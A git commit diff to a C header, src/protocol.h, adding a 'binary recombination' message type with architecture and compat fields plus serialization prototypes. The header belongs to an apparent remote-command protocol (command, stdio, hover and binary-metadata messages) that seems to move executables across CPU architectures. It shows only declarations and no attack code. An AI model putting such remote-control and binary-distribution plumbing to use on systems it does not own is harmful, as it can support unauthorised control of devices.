aboutsummaryrefslogtreecommitdiff
path: root/src/protocol.h
diff options
context:
space:
mode:
Diffstat (limited to 'src/protocol.h')
-rw-r--r--src/protocol.h26
1 files changed, 23 insertions, 3 deletions
diff --git a/src/protocol.h b/src/protocol.h
index 4e12396..e5003d7 100644
--- a/src/protocol.h
+++ b/src/protocol.h
@@ -22,9 +22,10 @@ typedef struct prne_htbt_cmd prne_htbt_cmd_t;
typedef struct prne_htbt_bin_meta prne_htbt_bin_meta_t;
typedef struct prne_htbt_hover prne_htbt_hover_t;
typedef struct prne_htbt_stdio prne_htbt_stdio_t;
+typedef struct prne_htbt_rcb prne_htbt_rcb_t;
typedef enum {
- PRNE_ARCH_NONE = -1,
+ PRNE_ARCH_NONE,
PRNE_ARCH_I686,
PRNE_ARCH_X86_64,
@@ -41,7 +42,7 @@ typedef enum {
NB_PRNE_ARCH
} prne_arch_t;
-PRNE_LIMIT_ENUM(prne_arch_t, NB_PRNE_ARCH, 0xFF);
+PRNE_LIMIT_ENUM(prne_arch_t, NB_PRNE_ARCH, 0xFE);
typedef enum {
PRNE_IPV_NONE,
@@ -174,7 +175,7 @@ typedef enum {
/* Binary Recombination Operation
* TODO
*
- * uint8_t arch
+ * uint8_t arch : "self" assumed if PRNE_ARCH_NONE
* uint1_t compat : allow fallback to compatible arch
* uint7_t rsv
*/
@@ -269,6 +270,11 @@ struct prne_htbt_stdio {
bool fin;
};
+struct prne_htbt_rcb {
+ prne_arch_t arch;
+ bool compat;
+};
+
typedef void(*prne_htbt_init_ft)(void *ptr);
typedef void(*prne_htbt_free_ft)(void *ptr);
typedef bool(*prne_htbt_eq_ft)(const void *a, const void *b);
@@ -398,6 +404,10 @@ bool prne_htbt_eq_stdio (
const prne_htbt_stdio_t *a,
const prne_htbt_stdio_t *b);
+void prne_htbt_init_rcb (prne_htbt_rcb_t *r);
+void prne_htbt_free_rcb (prne_htbt_rcb_t *r);
+bool prne_htbt_eq_rcb (const prne_htbt_rcb_t *a, const prne_htbt_rcb_t *b);
+
prne_htbt_ser_rc_t prne_htbt_ser_msg_head (
uint8_t *mem,
const size_t mem_len,
@@ -433,6 +443,11 @@ prne_htbt_ser_rc_t prne_htbt_ser_stdio (
const size_t mem_len,
size_t *actual,
const prne_htbt_stdio_t *in);
+prne_htbt_ser_rc_t prne_htbt_ser_rcb (
+ uint8_t *mem,
+ const size_t mem_len,
+ size_t *actual,
+ const prne_htbt_rcb_t *in);
prne_htbt_ser_rc_t prne_htbt_dser_msg_head (
const uint8_t *data,
@@ -469,6 +484,11 @@ prne_htbt_ser_rc_t prne_htbt_dser_stdio (
const size_t len,
size_t *actual,
prne_htbt_stdio_t *out);
+prne_htbt_ser_rc_t prne_htbt_dser_rcb (
+ const uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ prne_htbt_rcb_t *out);
char **prne_htbt_parse_args (
char *m_args,